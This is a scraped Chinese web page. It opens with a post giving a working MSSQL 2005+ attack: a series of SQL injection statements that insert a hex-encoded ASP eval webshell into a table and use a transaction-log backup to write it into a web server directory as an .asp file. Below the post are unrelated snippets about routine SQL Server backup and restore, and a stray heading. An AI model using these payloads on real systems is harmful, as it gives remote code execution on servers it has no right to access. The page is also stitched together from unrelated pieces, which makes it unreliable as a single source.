MSSQL BACKUP WEBSHELL

Title:MSSQL BACKUP WEBSHELL -- Long Long Ago.

Version:MSSQL 2005 && +

‘;alter/**/database/**/zhongguang/**/set/**/RECOVERY/**/FULL;--

‘;create/**/table/**/xiao/**/(a/**/image);--

‘;backup/**/database/**/zhongguang/**/to/**/disk=‘C:\windows\temp\A‘/**/with/**/init;--

‘;backup/**/log/**/zhongguang/**/to/**/disk=‘C:\windows\temp\A‘/**/with/**/init;--

‘;insert/**/into/**/xiao(a)/**/values(0x3c256576616c207265717565737428226f6b2229253e);--

‘;backup/**/log/**/zhongguang/**/to/**/disk=‘c:\Inetpub\newcmmb\oll.asp‘;--

‘;drop/**/table/**/xiao;--

 七步诗

时间: 2024-10-21 08:36:21

MSSQL BACKUP WEBSHELL的相关文章

第一章、关于SQL Server数据库的备份和还原(sp_addumpdevice、backup、Restore)

在sql server数据库中,备份和还原都只能在服务器上进行,备份的数据文件在服务器上,还原的数据文件也只能在服务器上,当在非服务器的机器上启动sql server客户端的时候,也可以通过该客户端来备份和还原数据库,但是这种操作实质是在服务器上进行的,备份的数据文件在服务器上,还原的数据文件也只能在服务器上,这个原则不会变,只是使用了客户端的一个工具来操作这个过程而已. 1.1.备份数据库 备份数据库有两种方式: 第一种是在企业管理器中,利用工具对数据库进行备份,这种备份的文件只会有一个,即以

mssql 作业

1.什么叫作业? 作业是一系列由 SQL Server 代理按顺序执行的指定操作. 一个作业可以执行各种类型的活动,包括运行 Transact-SQL 脚本.命令提示符应用程序.Microsoft ActiveX 脚本.Integration Services 包.Analysis Services 命令和查询或复制任务. 作业可以运行重复或可计划的任务,然后它们可以通过生 成警报来自动通知用户作业状态,从而极大地简化了 SQL Server 管理. 2.先看一个常用通过GUI利用作业动态备份数

SQLserver 备份和还原 失败

错误一: 备份对于服务器“xxxxxx”失败. System.Data.SqlClient.SqlError: 无法使用备份文件 'C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\Backup\xxxxx.bak',因为原先格式化该文件时所用扇区大小为 512,而目前所在设备的扇区大小为 4096. (Microsoft.SqlServer.Smo) 参考:http://stackoverflow.com/quest

利用SQL Server 2008 R2创建自动备份计划

本文主要利用SQL Server 2008 R2自带的"维护计划"创建一个自动备份数据的任务. 首先,启动?Sql Management studio,确保"SQL Server 代理"处于启动状态.如果没有,可以右击选择"启动". 第二步,依次展开"管理"---"维护计划",并右击"维护计划"选择"新建维护计划",这里你可以填写一个合适的有意义的名字. 点击&quo

如何通过trn日志文件恢复SQL Server 事务日志 还原 备份

首先恢复时一个完整的备份,但在完整的备份里一定要选择with nonerecovery(企业管理器里选项中是第2项) sql 语句是: restore database mydata from disk = 'c:\temp\movedb.bak'  with norecovery 这时数据库就会变成恢复模式,这样你就可以一条一条的把trn文件添加进行恢复了. 语句是: restore log Mydata from disk =    "D:\Program Files\Microsoft S

设定MS SQL Server 2008定期自动备份

1.说明 SQL Server2008 本身具有定期自动备份功能,我们只需要通过简单的配置就可以实现非常简单高效的自动备份功能. 2.打开SQL Server代理服务 要实现自动备份功能,首先要保证SQL Server的"SQL Server(代理)"服务已经打开. 如果没有看到这个"SQL Server代理"节点,可通过如下方式打开 先找到开始菜单中的"Microsoft SQL Server 2008 R2",再在"配置工具&quo

[TroubleShooting]'trn\bak' is incorrectly formed. SQL Server cannot process this media family.

 SQL Server online consultants came across an interesting scenario where one of our client was unable to restore a native SQL Server backup successfully performed from one instance running on Machine A on another instance of SQL Server running on m

SQL Server 数据恢复到指点时间点(完整恢复)

说到数据库恢复,其实我们一般最常见的有两种,一种就是简单恢复,通过备份的bak文件直接恢复数据库,缺点就是有可能数据丢失.另外一种就是通过备份的数据+事务日志还原数据.但是后者还原的话我们需要保证事务日志的完整性.我们今天就主要介绍的是第二种,所有的操作过程我们使用的是SSMS进行操作的. 注:使用第二种方法还原数据的时候需要注意的问题:1.要准备好之前的完整备份的数据,2.备份全新的事务日志.3.通过完整备份的数据进行完整还原.4.通过备份的全新的事务日志进行指定时间点的数据还原. 我们首先创

SQL Server 数据库备份与还原

1.相同SQL Server版本(2008为例)之间数据库备份与还原 (1)数据库备份 相同SQL Server服务器版本之间数据库的备份还原操作相对来说比较简单. 首先找到需要备份的数据库实例,[右键]->[任务]->[备份...],界面下边选择备份路径,点击确定,备份成功后即可在选择的备份路径下找到后缀名为.bak的备份文件. (2)数据库还原 对于需要还原的.bak数据库文件,一般会先拷贝到 C:\Program Files\Microsoft SQL Server\MSSQL10.MS